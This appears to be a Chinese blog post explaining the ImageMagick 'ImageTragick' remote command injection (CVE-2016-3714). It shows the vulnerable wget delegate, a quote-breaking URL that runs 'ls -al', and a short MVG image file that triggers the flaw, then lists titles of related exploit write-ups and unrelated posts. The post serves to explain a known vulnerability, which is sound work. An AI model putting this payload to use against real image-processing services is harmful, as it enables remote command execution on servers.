CVE ID: CVE-2016-3714

我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。

It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.

先拿中文写吧。

I will write in Chinese at present.


学习了这篇文章
学习了这篇文章

存在漏洞的ImageMagick版本

由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:

"  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

status=system(sanitize_command);

注意,%M是占位符,代表图片url。所以command实际上是:

"wget" -q -O "%o" "https:%M"

那么如果我们的图片url是类似于下面的:

https://example.com"|ls "-al

则command变成了:

"wget" -q -O "%o" "https://example.com" | ls "-al"

也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)

在本地测试一下:

成功执行了ls -al

我们可以把命令写入一个图片中:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

保存为x.png:


End:

哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )

ImageMagick Remote Command Execute的更多相关文章

  1. PowerShell vs. PsExec for Remote Command Execution

    Posted by Jianpeng Mo / January 20, 2014 Monitoring and maintaining large-scale, complex, highly dis ...

  2. struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  3. struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  4. JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution

    CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...

  5. [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)

    ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...

  6. Android shell command execute Demo

    package com.android.utils; import java.io.File; import java.io.IOException; import java.io.InputStre ...

  7. struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  8. struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  9. [EXP]Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)

    ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...

随机推荐

  1. FormsAuthentication身份认证源代码

    使用FormsAuthentication类可以实现身份认证功能,这里提供一个asp.net项目的源代码,项目名称KWS.项目实现了登录.退出和判断身份的功能. 关于项目 点击这里下载源代码 http ...

  2. array's filter

    var arr = [ { id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }, { }, { id: null }, { id: NaN ...

  3. Git是个好工具

    Git是分布式版本控制系统,我们常用的版本控制工具还有SVN.这里就得区分下什么是分布式版本控制系统,什么是集中化的版本控制系统. 集中化的版本控制系统 集中化的版本控制系统( Centralized ...

  4. 关于html页面head标签顺序

    基本上head就这几个标签么: <meta>.<link>.<title>.<script>.<style>.<base>. 它 ...

  5. Android studio打开项目时出现 gradle download 无反应

    在使用android studio 新建 项目的时候,会发现一直无法下载 gradle程序一直卡住不动,原因是被墙了. 解决方法: 到gradle官网下载离线包,解压后将bin路径加入Path环境变量 ...

  6. Android 短信的备份

    接着上文<Android 内容提供者的实现>,继续实战 打开File Exploer,找到mmssms.db数据库,导出 打开mmssms.db 新建项目,布局如下: <Relati ...

  7. 【代码笔记】iOS-scrollerView里多个tableView加搜索框

    一,效果图. 二,工程图. 三,代码. RootViewController.h #import <UIKit/UIKit.h> #import "customCell.h&qu ...

  8. 【代码笔记】iOS-创建具有中划线的文字

    一, 效果图. 二,工程图. 三,代码. RootViewController.h RootViewController.m - (void)viewDidLoad { [super viewDidL ...

  9. 【Android】OPlayer升级Vitamio到4.1

    前言 很久没有更新OPlayer,还是使用旧版Vitamio 3.0版本(新版已经到4.1),这次更新下. 声明 欢迎转载,但请保留文章原始出处:)  博客园:http://www.cnblogs.c ...

  10. 十五天精通WCF——第六天 你必须要了解的3种通信模式

    wcf已经说到第六天了,居然还没有说到这玩意有几种通信模式,惭愧惭愧,不过很简单啦,单向,请求-响应,双工模式,其中的第二种“请求-响应“ 模式,这个大家不用动脑子都清楚,这一篇我大概来分析下. 一: ...